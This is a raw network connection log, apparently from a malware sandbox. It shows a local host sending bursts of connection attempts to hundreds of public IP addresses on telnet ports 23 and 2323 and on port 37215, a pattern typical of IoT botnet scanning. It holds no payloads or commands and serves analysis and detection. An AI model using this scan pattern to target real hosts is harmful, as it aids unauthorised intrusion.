Nov 3, 2024 15:37:12.501527071 CET	36201	2323	192.168.2.14	64.248.107.163
Nov 3, 2024 15:37:12.501533031 CET	36201	23	192.168.2.14	202.219.180.166
Nov 3, 2024 15:37:12.501533031 CET	36201	23	192.168.2.14	198.82.252.99
Nov 3, 2024 15:37:12.501538992 CET	36201	23	192.168.2.14	82.172.165.240
Nov 3, 2024 15:37:12.501538992 CET	36201	23	192.168.2.14	105.158.206.149
Nov 3, 2024 15:37:12.501543045 CET	36201	23	192.168.2.14	117.120.158.76
Nov 3, 2024 15:37:12.501554012 CET	36201	23	192.168.2.14	153.193.148.159
Nov 3, 2024 15:37:12.501559019 CET	36201	23	192.168.2.14	20.143.147.90
Nov 3, 2024 15:37:12.501565933 CET	36201	23	192.168.2.14	141.15.30.30
Nov 3, 2024 15:37:12.501566887 CET	36201	2323	192.168.2.14	135.132.177.163
Nov 3, 2024 15:37:12.501566887 CET	36201	23	192.168.2.14	115.166.82.190
Nov 3, 2024 15:37:12.501574039 CET	36201	23	192.168.2.14	156.87.147.22
Nov 3, 2024 15:37:12.501584053 CET	36201	23	192.168.2.14	76.55.238.152
Nov 3, 2024 15:37:12.501584053 CET	36201	23	192.168.2.14	222.45.218.102
Nov 3, 2024 15:37:12.501585960 CET	36201	23	192.168.2.14	126.189.160.31
Nov 3, 2024 15:37:12.501593113 CET	36201	23	192.168.2.14	92.148.184.143
Nov 3, 2024 15:37:12.501600027 CET	36201	23	192.168.2.14	57.25.234.142
Nov 3, 2024 15:37:12.501602888 CET	36201	23	192.168.2.14	17.113.83.176
Nov 3, 2024 15:37:12.501605988 CET	36201	23	192.168.2.14	18.184.53.34
Nov 3, 2024 15:37:12.501605988 CET	36201	2323	192.168.2.14	168.114.218.112
Nov 3, 2024 15:37:12.501609087 CET	36201	23	192.168.2.14	82.17.62.136
Nov 3, 2024 15:37:12.501615047 CET	36201	23	192.168.2.14	218.98.239.65
Nov 3, 2024 15:37:12.501620054 CET	36201	23	192.168.2.14	162.226.142.191
Nov 3, 2024 15:37:12.501627922 CET	36201	23	192.168.2.14	102.64.74.10
Nov 3, 2024 15:37:12.501631021 CET	36201	23	192.168.2.14	183.37.229.154
Nov 3, 2024 15:37:12.501635075 CET	36201	23	192.168.2.14	109.26.244.208
Nov 3, 2024 15:37:12.501638889 CET	36201	23	192.168.2.14	43.116.39.1
Nov 3, 2024 15:37:12.501646042 CET	36201	23	192.168.2.14	192.71.255.104
Nov 3, 2024 15:37:12.501656055 CET	36201	23	192.168.2.14	179.117.233.126
Nov 3, 2024 15:37:12.501662016 CET	36201	2323	192.168.2.14	176.159.196.180
Nov 3, 2024 15:37:12.501668930 CET	36201	23	192.168.2.14	20.152.252.101
Nov 3, 2024 15:37:12.501672983 CET	36201	23	192.168.2.14	183.224.179.107
Nov 3, 2024 15:37:12.501686096 CET	36201	23	192.168.2.14	39.43.126.71
Nov 3, 2024 15:37:12.501688957 CET	36201	23	192.168.2.14	147.102.33.221
Nov 3, 2024 15:37:12.501688957 CET	36201	23	192.168.2.14	94.142.58.10
Nov 3, 2024 15:37:12.501689911 CET	36201	23	192.168.2.14	135.20.145.4
Nov 3, 2024 15:37:12.501693964 CET	36201	23	192.168.2.14	147.120.24.253
Nov 3, 2024 15:37:12.501697063 CET	36201	23	192.168.2.14	179.244.197.141
Nov 3, 2024 15:37:12.501698971 CET	36201	23	192.168.2.14	124.164.30.142
Nov 3, 2024 15:37:12.501698971 CET	36201	2323	192.168.2.14	98.132.24.192
Nov 3, 2024 15:37:12.501703024 CET	36201	23	192.168.2.14	89.5.236.89
Nov 3, 2024 15:37:12.501705885 CET	36201	23	192.168.2.14	35.74.58.212
Nov 3, 2024 15:37:12.501709938 CET	36201	23	192.168.2.14	210.217.66.235
Nov 3, 2024 15:37:12.501710892 CET	36201	23	192.168.2.14	9.22.40.193
Nov 3, 2024 15:37:12.501714945 CET	36201	23	192.168.2.14	116.134.42.45
Nov 3, 2024 15:37:12.501714945 CET	36201	23	192.168.2.14	188.215.190.228
Nov 3, 2024 15:37:12.501735926 CET	36201	23	192.168.2.14	197.231.148.103
Nov 3, 2024 15:37:12.501741886 CET	36201	23	192.168.2.14	102.238.11.123
Nov 3, 2024 15:37:12.501741886 CET	36201	23	192.168.2.14	193.139.63.224
Nov 3, 2024 15:37:12.505498886 CET	48126	37215	192.168.2.14	41.194.161.217
Nov 3, 2024 15:37:12.505505085 CET	55388	37215	192.168.2.14	156.246.219.40
Nov 3, 2024 15:37:12.505507946 CET	55320	37215	192.168.2.14	41.163.133.62
Nov 3, 2024 15:37:12.505508900 CET	45990	37215	192.168.2.14	156.21.107.185
Nov 3, 2024 15:37:12.505511999 CET	56088	37215	192.168.2.14	197.252.145.215
Nov 3, 2024 15:37:12.505511999 CET	34390	37215	192.168.2.14	156.93.99.76
Nov 3, 2024 15:37:12.505511999 CET	36426	37215	192.168.2.14	197.176.255.237
Nov 3, 2024 15:37:12.505517960 CET	48582	37215	192.168.2.14	197.221.66.71
Nov 3, 2024 15:37:12.505521059 CET	33378	37215	192.168.2.14	197.140.71.172
Nov 3, 2024 15:37:12.505523920 CET	48910	37215	192.168.2.14	156.246.166.190
Nov 3, 2024 15:37:12.505525112 CET	53912	37215	192.168.2.14	156.147.112.122
Nov 3, 2024 15:37:12.505532026 CET	39612	37215	192.168.2.14	156.246.61.185
Nov 3, 2024 15:37:12.505532980 CET	50002	37215	192.168.2.14	156.111.125.131
Nov 3, 2024 15:37:12.505542994 CET	33736	37215	192.168.2.14	41.31.230.34
Nov 3, 2024 15:37:12.505546093 CET	43878	37215	192.168.2.14	41.61.175.218
Nov 3, 2024 15:37:12.505546093 CET	34502	37215	192.168.2.14	156.78.250.236
Nov 3, 2024 15:37:12.505547047 CET	59836	37215	192.168.2.14	197.117.220.43
Nov 3, 2024 15:37:12.505548000 CET	34424	37215	192.168.2.14	41.20.124.70
Nov 3, 2024 15:37:12.505549908 CET	34036	37215	192.168.2.14	41.197.53.234
Nov 3, 2024 15:37:12.505549908 CET	40036	37215	192.168.2.14	41.163.33.184
Nov 3, 2024 15:37:12.505558968 CET	42258	37215	192.168.2.14	197.172.150.90
Nov 3, 2024 15:37:12.505558968 CET	41986	37215	192.168.2.14	41.226.57.61
Nov 3, 2024 15:37:12.505567074 CET	55158	37215	192.168.2.14	41.100.58.25
Nov 3, 2024 15:37:12.505567074 CET	36652	37215	192.168.2.14	156.225.156.99
Nov 3, 2024 15:37:12.505570889 CET	2323	36201	161.105.79.84	192.168.2.14
Nov 3, 2024 15:37:12.505582094 CET	23	36201	208.243.42.255	192.168.2.14
Nov 3, 2024 15:37:12.505582094 CET	32834	37215	192.168.2.14	156.236.57.150
Nov 3, 2024 15:37:12.505584002 CET	59738	37215	192.168.2.14	156.178.4.247
Nov 3, 2024 15:37:12.505584955 CET	56724	37215	192.168.2.14	156.157.41.72
Nov 3, 2024 15:37:12.505584002 CET	46918	37215	192.168.2.14	156.122.194.113
Nov 3, 2024 15:37:12.505589008 CET	23	36201	152.127.101.25	192.168.2.14
Nov 3, 2024 15:37:12.505595922 CET	57638	37215	192.168.2.14	156.156.70.75
Nov 3, 2024 15:37:12.505603075 CET	33838	37215	192.168.2.14	41.106.89.174
Nov 3, 2024 15:37:12.505604982 CET	54572	37215	192.168.2.14	156.243.181.34
Nov 3, 2024 15:37:12.505604982 CET	38218	37215	192.168.2.14	41.28.107.158
Nov 3, 2024 15:37:12.505604982 CET	57904	37215	192.168.2.14	197.27.247.143
Nov 3, 2024 15:37:12.505604982 CET	56624	37215	192.168.2.14	156.45.242.111
Nov 3, 2024 15:37:12.505604982 CET	50220	37215	192.168.2.14	41.12.251.234
Nov 3, 2024 15:37:12.505608082 CET	40790	37215	192.168.2.14	197.7.160.38
Nov 3, 2024 15:37:12.505608082 CET	48266	37215	192.168.2.14	156.66.38.190
Nov 3, 2024 15:37:12.505608082 CET	44256	37215	192.168.2.14	156.205.29.107
Nov 3, 2024 15:37:12.505610943 CET	50044	37215	192.168.2.14	41.104.189.119
Nov 3, 2024 15:37:12.505610943 CET	50020	37215	192.168.2.14	156.197.2.99
Nov 3, 2024 15:37:12.505610943 CET	42998	37215	192.168.2.14	156.5.106.240
Nov 3, 2024 15:37:12.505616903 CET	50878	37215	192.168.2.14	197.3.79.206
Nov 3, 2024 15:37:12.505616903 CET	46718	37215	192.168.2.14	41.120.114.208
Nov 3, 2024 15:37:12.505619049 CET	58970	37215	192.168.2.14	156.68.52.194
Nov 3, 2024 15:37:12.505625010 CET	53236	37215	192.168.2.14	197.4.6.115
Nov 3, 2024 15:37:12.505625010 CET	56750	37215	192.168.2.14	156.10.11.88
Nov 3, 2024 15:37:12.505630016 CET	23	36201	19.95.181.66	192.168.2.14
Nov 3, 2024 15:37:12.505669117 CET	48576	37215	192.168.2.14	41.37.247.136
Nov 3, 2024 15:37:12.505669117 CET	56914	37215	192.168.2.14	156.74.107.240
Nov 3, 2024 15:37:12.505669117 CET	43560	37215	192.168.2.14	41.217.7.145
Nov 3, 2024 15:37:12.505669117 CET	50536	37215	192.168.2.14	41.53.63.239
Nov 3, 2024 15:37:12.505669117 CET	41834	37215	192.168.2.14	41.115.20.24
Nov 3, 2024 15:37:12.505669117 CET	60558	37215	192.168.2.14	41.179.185.245
Nov 3, 2024 15:37:12.505669117 CET	36872	37215	192.168.2.14	156.21.7.201
Nov 3, 2024 15:37:12.505671978 CET	34802	37215	192.168.2.14	41.208.203.43
Nov 3, 2024 15:37:12.505671978 CET	50352	37215	192.168.2.14	197.211.76.111
Nov 3, 2024 15:37:12.505672932 CET	59120	37215	192.168.2.14	156.56.65.215
Nov 3, 2024 15:37:12.505671978 CET	44834	37215	192.168.2.14	197.204.14.128
Nov 3, 2024 15:37:12.505672932 CET	53244	37215	192.168.2.14	197.170.70.85
Nov 3, 2024 15:37:12.505673885 CET	56510	37215	192.168.2.14	41.215.234.93
Nov 3, 2024 15:37:12.505672932 CET	39334	37215	192.168.2.14	41.236.104.122
Nov 3, 2024 15:37:12.505671978 CET	55744	37215	192.168.2.14	156.103.148.132
Nov 3, 2024 15:37:12.505672932 CET	38892	37215	192.168.2.14	197.106.166.153
Nov 3, 2024 15:37:12.505673885 CET	47106	37215	192.168.2.14	41.227.68.72
Nov 3, 2024 15:37:12.505676031 CET	50498	37215	192.168.2.14	197.156.27.154
Nov 3, 2024 15:37:12.505671978 CET	47640	37215	192.168.2.14	197.74.114.107
Nov 3, 2024 15:37:12.505673885 CET	58844	37215	192.168.2.14	41.95.41.83
Nov 3, 2024 15:37:12.505673885 CET	42548	37215	192.168.2.14	156.221.255.137
Nov 3, 2024 15:37:12.505672932 CET	33966	37215	192.168.2.14	197.137.102.189
Nov 3, 2024 15:37:12.505673885 CET	46394	37215	192.168.2.14	41.219.228.84
Nov 3, 2024 15:37:12.505672932 CET	55736	37215	192.168.2.14	41.166.36.238
Nov 3, 2024 15:37:12.505675077 CET	34030	37215	192.168.2.14	41.233.248.58
Nov 3, 2024 15:37:12.505673885 CET	41218	37215	192.168.2.14	156.3.134.146
Nov 3, 2024 15:37:12.505690098 CET	34408	37215	192.168.2.14	41.127.161.90
Nov 3, 2024 15:37:12.505682945 CET	52706	37215	192.168.2.14	41.127.70.140
Nov 3, 2024 15:37:12.505672932 CET	57928	37215	192.168.2.14	156.32.248.140
Nov 3, 2024 15:37:12.505675077 CET	37626	37215	192.168.2.14	197.147.132.168
Nov 3, 2024 15:37:12.505693913 CET	41414	37215	192.168.2.14	41.210.242.120
Nov 3, 2024 15:37:12.505690098 CET	38720	37215	192.168.2.14	41.204.27.199
Nov 3, 2024 15:37:12.505673885 CET	40026	37215	192.168.2.14	156.135.37.168
Nov 3, 2024 15:37:12.505695105 CET	49912	37215	192.168.2.14	41.22.109.55
Nov 3, 2024 15:37:12.505672932 CET	50120	37215	192.168.2.14	197.226.142.141
Nov 3, 2024 15:37:12.505693913 CET	51864	37215	192.168.2.14	197.213.145.152
Nov 3, 2024 15:37:12.505695105 CET	35196	37215	192.168.2.14	41.191.196.11
Nov 3, 2024 15:37:12.505682945 CET	38264	37215	192.168.2.14	156.1.250.39
Nov 3, 2024 15:37:12.505695105 CET	57630	37215	192.168.2.14	41.1.26.153
Nov 3, 2024 15:37:12.505703926 CET	54478	37215	192.168.2.14	156.108.194.67
Nov 3, 2024 15:37:12.505693913 CET	49032	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:12.505707026 CET	41650	37215	192.168.2.14	197.161.115.17
Nov 3, 2024 15:37:12.505707979 CET	34086	37215	192.168.2.14	197.108.23.217
Nov 3, 2024 15:37:12.505682945 CET	58510	37215	192.168.2.14	156.130.214.19
Nov 3, 2024 15:37:12.505707026 CET	51800	37215	192.168.2.14	41.183.156.167
Nov 3, 2024 15:37:12.505707979 CET	57310	37215	192.168.2.14	197.183.22.28
Nov 3, 2024 15:37:12.505707026 CET	58232	37215	192.168.2.14	156.29.35.98
Nov 3, 2024 15:37:12.505707026 CET	43684	37215	192.168.2.14	41.22.164.49
Nov 3, 2024 15:37:12.505682945 CET	40642	37215	192.168.2.14	156.175.54.142
Nov 3, 2024 15:37:12.505705118 CET	45768	37215	192.168.2.14	197.252.165.31
Nov 3, 2024 15:37:12.505707979 CET	37848	37215	192.168.2.14	197.31.149.169
Nov 3, 2024 15:37:12.505695105 CET	38908	37215	192.168.2.14	41.43.89.156
Nov 3, 2024 15:37:12.505705118 CET	36444	37215	192.168.2.14	156.83.90.144
Nov 3, 2024 15:37:12.505695105 CET	41070	37215	192.168.2.14	156.91.171.80
Nov 3, 2024 15:37:12.505703926 CET	56766	37215	192.168.2.14	41.158.151.80
Nov 3, 2024 15:37:12.505713940 CET	50860	37215	192.168.2.14	197.254.17.218
Nov 3, 2024 15:37:12.505693913 CET	58202	37215	192.168.2.14	197.51.211.151
Nov 3, 2024 15:37:12.505713940 CET	45764	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:12.505707979 CET	41374	37215	192.168.2.14	41.18.15.227
Nov 3, 2024 15:37:12.505713940 CET	36201	2323	192.168.2.14	161.105.79.84
Nov 3, 2024 15:37:12.505703926 CET	60724	37215	192.168.2.14	197.54.205.67
Nov 3, 2024 15:37:12.505714893 CET	46144	37215	192.168.2.14	197.187.1.98
Nov 3, 2024 15:37:12.505703926 CET	53194	37215	192.168.2.14	197.81.39.24
Nov 3, 2024 15:37:12.505721092 CET	60554	37215	192.168.2.14	41.9.116.67
Nov 3, 2024 15:37:12.505722046 CET	34578	37215	192.168.2.14	156.141.170.57
Nov 3, 2024 15:37:12.505714893 CET	54404	37215	192.168.2.14	156.76.218.78
Nov 3, 2024 15:37:12.505695105 CET	42446	37215	192.168.2.14	41.227.204.54
Nov 3, 2024 15:37:12.505722046 CET	48046	37215	192.168.2.14	156.47.73.123
Nov 3, 2024 15:37:12.505707979 CET	36201	23	192.168.2.14	19.95.181.66
Nov 3, 2024 15:37:12.505728006 CET	41594	37215	192.168.2.14	156.87.37.60
Nov 3, 2024 15:37:12.505728006 CET	60498	37215	192.168.2.14	156.93.27.183
Nov 3, 2024 15:37:12.505728006 CET	41530	37215	192.168.2.14	156.129.68.42
Nov 3, 2024 15:37:12.505733013 CET	41316	37215	192.168.2.14	197.34.76.106
Nov 3, 2024 15:37:12.505733013 CET	60862	37215	192.168.2.14	197.122.28.224
Nov 3, 2024 15:37:12.505733967 CET	34288	37215	192.168.2.14	197.201.134.233
Nov 3, 2024 15:37:12.505733013 CET	49862	37215	192.168.2.14	156.187.67.11
Nov 3, 2024 15:37:12.505733967 CET	37438	37215	192.168.2.14	197.91.20.246
Nov 3, 2024 15:37:12.505733967 CET	58848	37215	192.168.2.14	41.22.80.120
Nov 3, 2024 15:37:12.505733967 CET	44648	37215	192.168.2.14	197.171.75.149
Nov 3, 2024 15:37:12.505740881 CET	59242	37215	192.168.2.14	41.221.110.157
Nov 3, 2024 15:37:12.505740881 CET	51966	37215	192.168.2.14	41.197.181.19
Nov 3, 2024 15:37:12.505743980 CET	37800	37215	192.168.2.14	41.31.154.200
Nov 3, 2024 15:37:12.505743980 CET	51290	37215	192.168.2.14	197.251.254.108
Nov 3, 2024 15:37:12.505743980 CET	47092	37215	192.168.2.14	41.47.138.63
Nov 3, 2024 15:37:12.505743980 CET	40022	37215	192.168.2.14	197.194.225.205
Nov 3, 2024 15:37:12.505743980 CET	40732	37215	192.168.2.14	41.141.175.121
Nov 3, 2024 15:37:12.505753040 CET	41188	37215	192.168.2.14	156.163.205.82
Nov 3, 2024 15:37:12.505759954 CET	23	36201	61.216.18.6	192.168.2.14
Nov 3, 2024 15:37:12.505765915 CET	47494	37215	192.168.2.14	41.88.60.157
Nov 3, 2024 15:37:12.505768061 CET	59344	37215	192.168.2.14	41.113.183.13
Nov 3, 2024 15:37:12.505768061 CET	43514	37215	192.168.2.14	156.153.138.184
Nov 3, 2024 15:37:12.505768061 CET	35176	37215	192.168.2.14	156.72.242.56
Nov 3, 2024 15:37:12.505769968 CET	43584	37215	192.168.2.14	156.101.142.160
Nov 3, 2024 15:37:12.505784988 CET	42272	37215	192.168.2.14	197.179.50.29
Nov 3, 2024 15:37:12.505789042 CET	23	36201	117.42.147.109	192.168.2.14
Nov 3, 2024 15:37:12.505794048 CET	39852	37215	192.168.2.14	197.99.83.17
Nov 3, 2024 15:37:12.505794048 CET	48098	37215	192.168.2.14	41.41.17.100
Nov 3, 2024 15:37:12.505794048 CET	36708	37215	192.168.2.14	156.7.6.245
Nov 3, 2024 15:37:12.505799055 CET	39042	37215	192.168.2.14	156.92.251.97
Nov 3, 2024 15:37:12.505799055 CET	35248	37215	192.168.2.14	41.47.45.181
Nov 3, 2024 15:37:12.505801916 CET	51356	37215	192.168.2.14	41.183.212.5
Nov 3, 2024 15:37:12.505804062 CET	55850	37215	192.168.2.14	156.250.107.247
Nov 3, 2024 15:37:12.505805016 CET	60174	37215	192.168.2.14	41.233.241.218
Nov 3, 2024 15:37:12.505808115 CET	53934	37215	192.168.2.14	41.186.69.216
Nov 3, 2024 15:37:12.505808115 CET	58264	37215	192.168.2.14	41.53.247.62
Nov 3, 2024 15:37:12.505811930 CET	42750	37215	192.168.2.14	197.36.137.218
Nov 3, 2024 15:37:12.505814075 CET	33646	37215	192.168.2.14	41.20.17.178
Nov 3, 2024 15:37:12.505819082 CET	39028	37215	192.168.2.14	197.191.179.237
Nov 3, 2024 15:37:12.505819082 CET	36792	37215	192.168.2.14	197.19.105.218
Nov 3, 2024 15:37:12.505820036 CET	57672	37215	192.168.2.14	41.192.83.152
Nov 3, 2024 15:37:12.505825043 CET	48662	37215	192.168.2.14	197.105.148.66
Nov 3, 2024 15:37:12.505831003 CET	60912	37215	192.168.2.14	41.217.153.137
Nov 3, 2024 15:37:12.505835056 CET	52128	37215	192.168.2.14	197.146.115.42
Nov 3, 2024 15:37:12.505835056 CET	39490	37215	192.168.2.14	197.232.152.222
Nov 3, 2024 15:37:12.505836010 CET	23	36201	155.168.89.202	192.168.2.14
Nov 3, 2024 15:37:12.505848885 CET	23	36201	5.124.82.35	192.168.2.14
Nov 3, 2024 15:37:12.505851984 CET	40416	37215	192.168.2.14	197.168.30.174
Nov 3, 2024 15:37:12.505851984 CET	38716	37215	192.168.2.14	156.170.219.169
Nov 3, 2024 15:37:12.505852938 CET	55294	37215	192.168.2.14	41.52.246.8
Nov 3, 2024 15:37:12.505853891 CET	53788	37215	192.168.2.14	197.115.233.122
Nov 3, 2024 15:37:12.505860090 CET	48574	37215	192.168.2.14	41.170.228.200
Nov 3, 2024 15:37:12.505861998 CET	23	36201	109.6.224.231	192.168.2.14
Nov 3, 2024 15:37:12.505862951 CET	36201	23	192.168.2.14	155.168.89.202
Nov 3, 2024 15:37:12.505872011 CET	38468	37215	192.168.2.14	156.70.142.30
Nov 3, 2024 15:37:12.505877018 CET	37986	37215	192.168.2.14	197.163.97.84
Nov 3, 2024 15:37:12.505877018 CET	54944	37215	192.168.2.14	156.255.233.107
Nov 3, 2024 15:37:12.505877018 CET	46218	37215	192.168.2.14	41.63.131.123
Nov 3, 2024 15:37:12.505880117 CET	23	36201	99.100.135.104	192.168.2.14
Nov 3, 2024 15:37:12.505880117 CET	46224	37215	192.168.2.14	41.62.171.184
Nov 3, 2024 15:37:12.505880117 CET	36201	23	192.168.2.14	5.124.82.35
Nov 3, 2024 15:37:12.505882025 CET	57604	37215	192.168.2.14	197.69.217.164
Nov 3, 2024 15:37:12.505887032 CET	42594	37215	192.168.2.14	41.115.87.47
Nov 3, 2024 15:37:12.505892038 CET	2323	36201	75.173.106.238	192.168.2.14
Nov 3, 2024 15:37:12.505893946 CET	47242	37215	192.168.2.14	197.237.82.82
Nov 3, 2024 15:37:12.505893946 CET	46070	37215	192.168.2.14	156.18.74.155
Nov 3, 2024 15:37:12.505897045 CET	41458	37215	192.168.2.14	41.9.123.205
Nov 3, 2024 15:37:12.505897045 CET	47030	37215	192.168.2.14	156.160.136.145
Nov 3, 2024 15:37:12.505897045 CET	37390	37215	192.168.2.14	41.148.99.160
Nov 3, 2024 15:37:12.505897045 CET	59008	37215	192.168.2.14	41.193.122.172
Nov 3, 2024 15:37:12.505897045 CET	35006	37215	192.168.2.14	197.26.18.142
Nov 3, 2024 15:37:12.505908012 CET	58956	37215	192.168.2.14	156.35.224.164
Nov 3, 2024 15:37:12.505903006 CET	23	36201	19.244.91.30	192.168.2.14
Nov 3, 2024 15:37:12.505911112 CET	58986	37215	192.168.2.14	41.29.158.199
Nov 3, 2024 15:37:12.505918026 CET	39464	37215	192.168.2.14	41.15.89.96
Nov 3, 2024 15:37:12.505920887 CET	36201	23	192.168.2.14	109.6.224.231
Nov 3, 2024 15:37:12.505920887 CET	36201	23	192.168.2.14	99.100.135.104
Nov 3, 2024 15:37:12.505920887 CET	34358	37215	192.168.2.14	156.50.150.233
Nov 3, 2024 15:37:12.505928040 CET	38098	37215	192.168.2.14	156.33.248.119
Nov 3, 2024 15:37:12.505932093 CET	23	36201	182.144.249.54	192.168.2.14
Nov 3, 2024 15:37:12.505934954 CET	42538	37215	192.168.2.14	197.186.99.208
Nov 3, 2024 15:37:12.505939007 CET	43192	37215	192.168.2.14	197.241.168.45
Nov 3, 2024 15:37:12.505944014 CET	23	36201	85.78.190.163	192.168.2.14
Nov 3, 2024 15:37:12.505948067 CET	46550	37215	192.168.2.14	156.102.183.76
Nov 3, 2024 15:37:12.505953074 CET	43386	37215	192.168.2.14	156.224.87.198
Nov 3, 2024 15:37:12.505956888 CET	60212	37215	192.168.2.14	41.158.29.151
Nov 3, 2024 15:37:12.505958080 CET	53370	37215	192.168.2.14	41.91.188.230
Nov 3, 2024 15:37:12.505958080 CET	39046	37215	192.168.2.14	197.243.10.148
Nov 3, 2024 15:37:12.505959988 CET	36400	37215	192.168.2.14	197.19.217.137
Nov 3, 2024 15:37:12.505964041 CET	44444	37215	192.168.2.14	156.225.171.173
Nov 3, 2024 15:37:12.505964994 CET	23	36201	168.132.251.239	192.168.2.14
Nov 3, 2024 15:37:12.505976915 CET	23	36201	88.0.240.0	192.168.2.14
Nov 3, 2024 15:37:12.505978107 CET	43142	37215	192.168.2.14	41.178.227.250
Nov 3, 2024 15:37:12.505995989 CET	36201	23	192.168.2.14	208.243.42.255
Nov 3, 2024 15:37:12.505997896 CET	36201	23	192.168.2.14	152.127.101.25
Nov 3, 2024 15:37:12.506000042 CET	36201	23	192.168.2.14	61.216.18.6
Nov 3, 2024 15:37:12.506010056 CET	36201	2323	192.168.2.14	75.173.106.238
Nov 3, 2024 15:37:12.506010056 CET	36201	23	192.168.2.14	117.42.147.109
Nov 3, 2024 15:37:12.506016970 CET	36201	23	192.168.2.14	19.244.91.30
Nov 3, 2024 15:37:12.506020069 CET	36201	23	192.168.2.14	182.144.249.54
Nov 3, 2024 15:37:12.506025076 CET	23	36201	171.156.40.101	192.168.2.14
Nov 3, 2024 15:37:12.506026030 CET	36201	23	192.168.2.14	85.78.190.163
Nov 3, 2024 15:37:12.506031990 CET	36201	23	192.168.2.14	168.132.251.239
Nov 3, 2024 15:37:12.506037951 CET	36201	23	192.168.2.14	88.0.240.0
Nov 3, 2024 15:37:12.506042957 CET	23	36201	1.247.81.107	192.168.2.14
Nov 3, 2024 15:37:12.506055117 CET	23	36201	68.51.111.59	192.168.2.14
Nov 3, 2024 15:37:12.506067038 CET	36201	23	192.168.2.14	171.156.40.101
Nov 3, 2024 15:37:12.506067038 CET	23	36201	117.216.244.227	192.168.2.14
Nov 3, 2024 15:37:12.506077051 CET	36201	23	192.168.2.14	1.247.81.107
Nov 3, 2024 15:37:12.506079912 CET	23	36201	222.202.171.146	192.168.2.14
Nov 3, 2024 15:37:12.506086111 CET	36201	23	192.168.2.14	68.51.111.59
Nov 3, 2024 15:37:12.506092072 CET	2323	36201	190.243.114.111	192.168.2.14
Nov 3, 2024 15:37:12.506104946 CET	23	36201	117.221.69.31	192.168.2.14
Nov 3, 2024 15:37:12.506114006 CET	36201	23	192.168.2.14	117.216.244.227
Nov 3, 2024 15:37:12.506115913 CET	23	36201	69.156.174.219	192.168.2.14
Nov 3, 2024 15:37:12.506128073 CET	23	36201	186.233.49.233	192.168.2.14
Nov 3, 2024 15:37:12.506143093 CET	36201	23	192.168.2.14	222.202.171.146
Nov 3, 2024 15:37:12.506181955 CET	36201	2323	192.168.2.14	190.243.114.111
Nov 3, 2024 15:37:12.506186008 CET	36201	23	192.168.2.14	117.221.69.31
Nov 3, 2024 15:37:12.506201982 CET	36201	23	192.168.2.14	186.233.49.233
Nov 3, 2024 15:37:12.506202936 CET	36201	23	192.168.2.14	69.156.174.219
Nov 3, 2024 15:37:12.506290913 CET	23	36201	4.26.159.32	192.168.2.14
Nov 3, 2024 15:37:12.506302118 CET	23	36201	32.30.126.10	192.168.2.14
Nov 3, 2024 15:37:12.506310940 CET	23	36201	59.42.136.9	192.168.2.14
Nov 3, 2024 15:37:12.506323099 CET	23	36201	32.134.160.135	192.168.2.14
Nov 3, 2024 15:37:12.506330013 CET	36201	23	192.168.2.14	4.26.159.32
Nov 3, 2024 15:37:12.506334066 CET	23	36201	166.182.82.106	192.168.2.14
Nov 3, 2024 15:37:12.506345987 CET	2323	36201	120.70.176.143	192.168.2.14
Nov 3, 2024 15:37:12.506350994 CET	36201	23	192.168.2.14	59.42.136.9
Nov 3, 2024 15:37:12.506350994 CET	36201	23	192.168.2.14	32.134.160.135
Nov 3, 2024 15:37:12.506350994 CET	36201	23	192.168.2.14	32.30.126.10
Nov 3, 2024 15:37:12.506359100 CET	36201	23	192.168.2.14	166.182.82.106
Nov 3, 2024 15:37:12.506372929 CET	23	36201	72.88.168.150	192.168.2.14
Nov 3, 2024 15:37:12.506381035 CET	36201	2323	192.168.2.14	120.70.176.143
Nov 3, 2024 15:37:12.506383896 CET	23	36201	70.3.58.177	192.168.2.14
Nov 3, 2024 15:37:12.506405115 CET	23	36201	47.10.221.56	192.168.2.14
Nov 3, 2024 15:37:12.506407022 CET	36201	23	192.168.2.14	72.88.168.150
Nov 3, 2024 15:37:12.506412983 CET	36201	23	192.168.2.14	70.3.58.177
Nov 3, 2024 15:37:12.506417036 CET	23	36201	188.95.71.206	192.168.2.14
Nov 3, 2024 15:37:12.506422043 CET	23	36201	5.205.176.69	192.168.2.14
Nov 3, 2024 15:37:12.506432056 CET	23	36201	146.126.116.142	192.168.2.14
Nov 3, 2024 15:37:12.506443977 CET	23	36201	195.229.81.92	192.168.2.14
Nov 3, 2024 15:37:12.506449938 CET	36201	23	192.168.2.14	47.10.221.56
Nov 3, 2024 15:37:12.506449938 CET	36201	23	192.168.2.14	188.95.71.206
Nov 3, 2024 15:37:12.506454945 CET	23	36201	160.86.66.3	192.168.2.14
Nov 3, 2024 15:37:12.506467104 CET	23	36201	188.120.59.70	192.168.2.14
Nov 3, 2024 15:37:12.506470919 CET	36201	23	192.168.2.14	5.205.176.69
Nov 3, 2024 15:37:12.506470919 CET	36201	23	192.168.2.14	146.126.116.142
Nov 3, 2024 15:37:12.506479025 CET	23	36201	178.143.28.20	192.168.2.14
Nov 3, 2024 15:37:12.506484985 CET	36201	23	192.168.2.14	195.229.81.92
Nov 3, 2024 15:37:12.506485939 CET	36201	23	192.168.2.14	160.86.66.3
Nov 3, 2024 15:37:12.506490946 CET	23	36201	18.138.42.147	192.168.2.14
Nov 3, 2024 15:37:12.506501913 CET	2323	36201	207.213.129.191	192.168.2.14
Nov 3, 2024 15:37:12.506513119 CET	23	36201	200.47.129.108	192.168.2.14
Nov 3, 2024 15:37:12.506515980 CET	36201	23	192.168.2.14	188.120.59.70
Nov 3, 2024 15:37:12.506515980 CET	36201	23	192.168.2.14	178.143.28.20
Nov 3, 2024 15:37:12.506525040 CET	23	36201	156.21.246.180	192.168.2.14
Nov 3, 2024 15:37:12.506525993 CET	36201	23	192.168.2.14	18.138.42.147
Nov 3, 2024 15:37:12.506526947 CET	36201	2323	192.168.2.14	207.213.129.191
Nov 3, 2024 15:37:12.506536961 CET	23	36201	9.108.123.234	192.168.2.14
Nov 3, 2024 15:37:12.506548882 CET	2323	36201	157.3.196.212	192.168.2.14
Nov 3, 2024 15:37:12.506558895 CET	23	36201	162.4.222.212	192.168.2.14
Nov 3, 2024 15:37:12.506566048 CET	36201	23	192.168.2.14	200.47.129.108
Nov 3, 2024 15:37:12.506570101 CET	36201	23	192.168.2.14	9.108.123.234
Nov 3, 2024 15:37:12.506570101 CET	23	36201	72.161.89.227	192.168.2.14
Nov 3, 2024 15:37:12.506582022 CET	23	36201	181.205.112.137	192.168.2.14
Nov 3, 2024 15:37:12.506593943 CET	23	36201	72.233.132.145	192.168.2.14
Nov 3, 2024 15:37:12.506594896 CET	36201	23	192.168.2.14	162.4.222.212
